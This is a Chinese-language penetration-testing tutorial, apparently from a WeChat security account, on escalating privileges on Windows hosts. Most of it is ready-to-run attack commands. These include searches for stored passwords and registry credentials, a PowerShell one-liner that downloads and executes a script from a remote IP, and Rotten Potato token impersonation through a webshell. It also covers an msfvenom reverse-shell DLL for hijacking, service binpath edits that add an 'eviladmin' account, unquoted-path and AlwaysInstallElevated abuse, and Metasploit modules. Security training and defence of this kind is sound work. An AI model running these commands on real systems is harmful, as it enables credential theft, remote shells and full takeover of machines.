自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。 这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中: C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\
除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr password
或者可以在文件内容中搜索password之类的关键字:C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini
reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s
在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密码需要去掉最后的”Password”。
Windows Exploit Suggester该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而且其只需要我们给出目标系统的信息即可。下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester首先更新漏洞数据库,会生成一个xls的文件,如下 2020-08-20-mssb.xls python2 windows-exploit-suggester.py --update
然后执行如下命令,查看目标主机系统信息,保存为sysinfo.txt文件:最后,运行如下命令,查看该系统是否存在可利用的提权漏洞: python2 windows-exploit-suggester.py -d 2020-08-20-mssb.xls -i sysinfo.txt
下载地址:https://github.com/rasta-mouse/Sherlock该脚本可以快速的查找出可能用于本地权限提升的漏洞。使用如下: powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Sherlock.ps1'); // 远程执行
Import-Module 目录\Sherlock.ps1 本地执行
Find-AllVulns // 调用脚本后,执行搜索命令
local_exploit_suggester 模块Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦。使用如下,假设我们已经获得了目标主机的一个session: use post/multi/recon/local_exploit_suggester
set session 1
exploit
会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速找出系统中缺少的补丁。使用如下: use post/windows/gather/enum_patches
set session 1
exploit
在实际的查找潜在漏洞的过程中,建议手动和自动双管齐下。漏洞利用程序可以从以下几个地址中下载:(里面附有使用说明)- Windows 下的提权大合集:https://github.com/lyshark/Windows-exploits
- Windows内核溢出漏洞提权大全:https://github.com/SecWiki/windows-kernel-exploits
- 各大平台提权工具:https://github.com/klsfct/getshell
适用范围:windows2000 WinServer 03 windowsXP 原理:AT提权 计划任务 启动cmd.exe 直接提升为system权限 #at命令提权
C:\Documents and Settings\kevin>cd \
C:\>at -? #查看命令参数
C:\>at 2:15 /interactive cmd #未来时间(如延后1min),会到点以system启动cmd
Added a new job with job ID = 1
C:\>at
Status ID Day Time Command Line
---------------------------------------------------------------------
1 Today 2:15 AM cmd
此时,到设置的时间点2:15会以system权限打开一个cmd
适用范围: 适用于windows 7/8、03/08、12/16 C:>sc Create syscmd binPath= “cmd /K start” type= own type= interact #配置一个服务syscmd
C:>sc start syscmd #启动服务获取system权限的cmd
适用范围: 适用于Win2003 & Win2008 微软官方工具包: https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools psexec.exe -accepteula -s -i -d cmd.exe
简介:烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户适用版本:**Windows 7、8、10、2008、2012** 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
meterpreter > getprivs
##或者服务器的cmd下键入以下命令
whoami /all
whoami /priv
如下,SeImpersonatePrivilege是土豆提权的必要条件 首先通过msf生成一个msf的木马,通过webshell传上去,然后执行,获取到会话,此时我们使用令牌窃取,会失败,因为此时我们只有web权限,权限太低,无法实现窃取SYSTEM权限,这个时候就需要用到烂土豆配合msf实现权限提升。我们利用webshel把下载好的烂土豆程序传到C盘根目录下,然后执行它,此时我们再通过msf的会话,使用令牌窃取功能即可成功实现从web权限到SYSTEM权限的提升。 upload /root/potato.exe C:\Users\Public
cd C:\\Users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
适用版本:Windows 7、8、10、2008、2012程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。攻击过程:收集进程加载的dll-制作dll木马并上传-替换dll-启动应用后成功收集该软件进程加载的dll 这一步在自己本机上测试,启动应用使用火绒剑分析其模块调用的dll,一般来说我们劫持该应用本身的dll,而不是系统dll,因为系统文件一般我们是更改不了的,所以一般选择未知文件和数字签名文件的dll来进行替换成msf生成的dll msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.134 lport=6677 -f dll >./payload.dll
然后进行dll替换即可,当管理员运行该程序时即可触发木马,msf即可收到会话。
漏洞原理:由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以通过编辑ImagePath的值,更改该服务的可执行文件路径,使其指向恶意的可执行文件,从而实现权限提升。该漏洞可以通过使用微软自带的检测工具SubInACL进行检测:https://www.microsoft.com/en-us/download/details.aspx?id=23510首先将SubInACL上传到目标机器,然后对相应服务的注册表项进行检测如上图所示,“Everyone”在这个注册表项上有完全的控制权。意味着我们可以通过编辑ImagePath的值,更改该服务的可执行文件路径,使其指向恶意的可执行文件。在下一次启动该服务时,payload.exe将会以SYSTEM权限运行,我们可以通过直接对目标主机执行“shutdown -r -t 0”
命令,使其主机重启即可,在此之前我们需要先在kali上启用一个监听,用于接收反弹shell的会话。
漏洞原理:由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以通过编辑BINARY_PATH_NAME参数的值,如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。如果我们愿意,我们可以添加一个本地管理员,从而实现权限提升。https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk accesschk.exe -uwcqv "username" * //检测当前用户或者用户组是否有可以修改的服务,根据实际情况修改username
当我们执行以上命令时发现如下图所示的情况,说明此时该提权方法不可行如果我们对某服务的属性拥有完全控制权。那么我们通过编辑BINARY_PATH_NAME参数的值,将这个值修改成任何命令。 sc config "ServiceName" binpath="net user eviladmin P4ssword0 /add" //添加一个用户
//在修改了binpath的值后,用“sc stop”和“sc start”命令重启服务:
sc stop"ServiceName"//关闭服务
sc start "ServiceName" //启动服务
然后我们以同样的方式,再将刚才添加的用户,添加到本地管理员组即可。同样,我们也可以将一个反弹shell载荷上传到目标机器中,并将binpath的值改成载荷的路径。MSF有现成的漏洞利用模块:exploit/windows/local/service_permissionsTrusted Service Paths 提权漏洞
漏洞原理:如果一个服务的可执行文件的路径没有被双引号引起来并且包含空格,那么这个服务就是有漏洞的,该漏洞利用了windows文件路径解析的特性并涉及服务路径的文件/文件夹权限配置。当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。 路径没有包含在引号中,服务会按照以下顺序依次执行
c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
假如存在漏洞路径,我们可以将msf木马放到上面的c:\program.exe、c:\program files.exe、c:\program files (x86)\grasssoft\macro.exe路径下,然后重启机器,此时,反弹回来的shell,就是一个system权限的shell(windows服务通常以System权限运行,所以提供在解析服务所对应的文件路径中的空格时也是以系统权限运行的)。 使用以下命令查看系统中错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务。 sc stop <service_name>
sc start <service_name>
既然要重启服务,那么我们就可以知道,该提权方法需要管理员权限,重启服务的方法适用于从管理员权限到system的权限提升过程。而实际情况下,我们直接对目标主机执行“shutdown -r -t 0”
命令让他重启就行了。该提权方法在metasploit中对应的模块为:exploit/windows/local/unquoted_service_path
,使用如下: use exploit/windows/local/unquoted_service_path
set session 1
set AutoRunScript migrate -f
exploit
注意:新反弹得到的meterpreter会很快就中断了,这是因为当一个进程在Windows中启动后,必须与服务控制管理进行通信,如果没有通信,服务控制管理器会认为出现了错误,进而终止这个进程。所以,我们要在终止载荷进程之前将它迁移到其他进程中,使用msf的“set AutoRunScript migrate -f”命令即可实现自动迁移进程。
AlwaysInstallElevated提权漏洞
漏洞原理:用户开启了windows installer特权安装功能。 [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即可达到提权目的同时需要注意的一点是,这个注册表项不一定总是存在的。(比如我的实验机我们可以通过reg query来验证这两条注册表项的情况 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果均为1,我们就可以通过msfvenom生成恶意msi来提权如果两条注册表项的情况不是均为1,可以尝试激活AlwaysInstallElevated,激活它可以通过修改注册表的键值或者在图形化页面上激活。图形化下激活它的路径为计算机设置\管理模版\windows组件\windows installer
,选中已启用即可,该操作需要管理员权限。 reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
使用whoami /priv可以查看当前用户的权限。参考资料:https://blog.csdn.net/weixin_44032232/article/details/114366001
https://www.anquanke.com/post/id/225911
https://xz.aliyun.com/t/2606
https://www.anquanke.com/post/id/85377
https://blog.csdn.net/qq_41874930/article/details/109624274
侵权请私聊公众号删文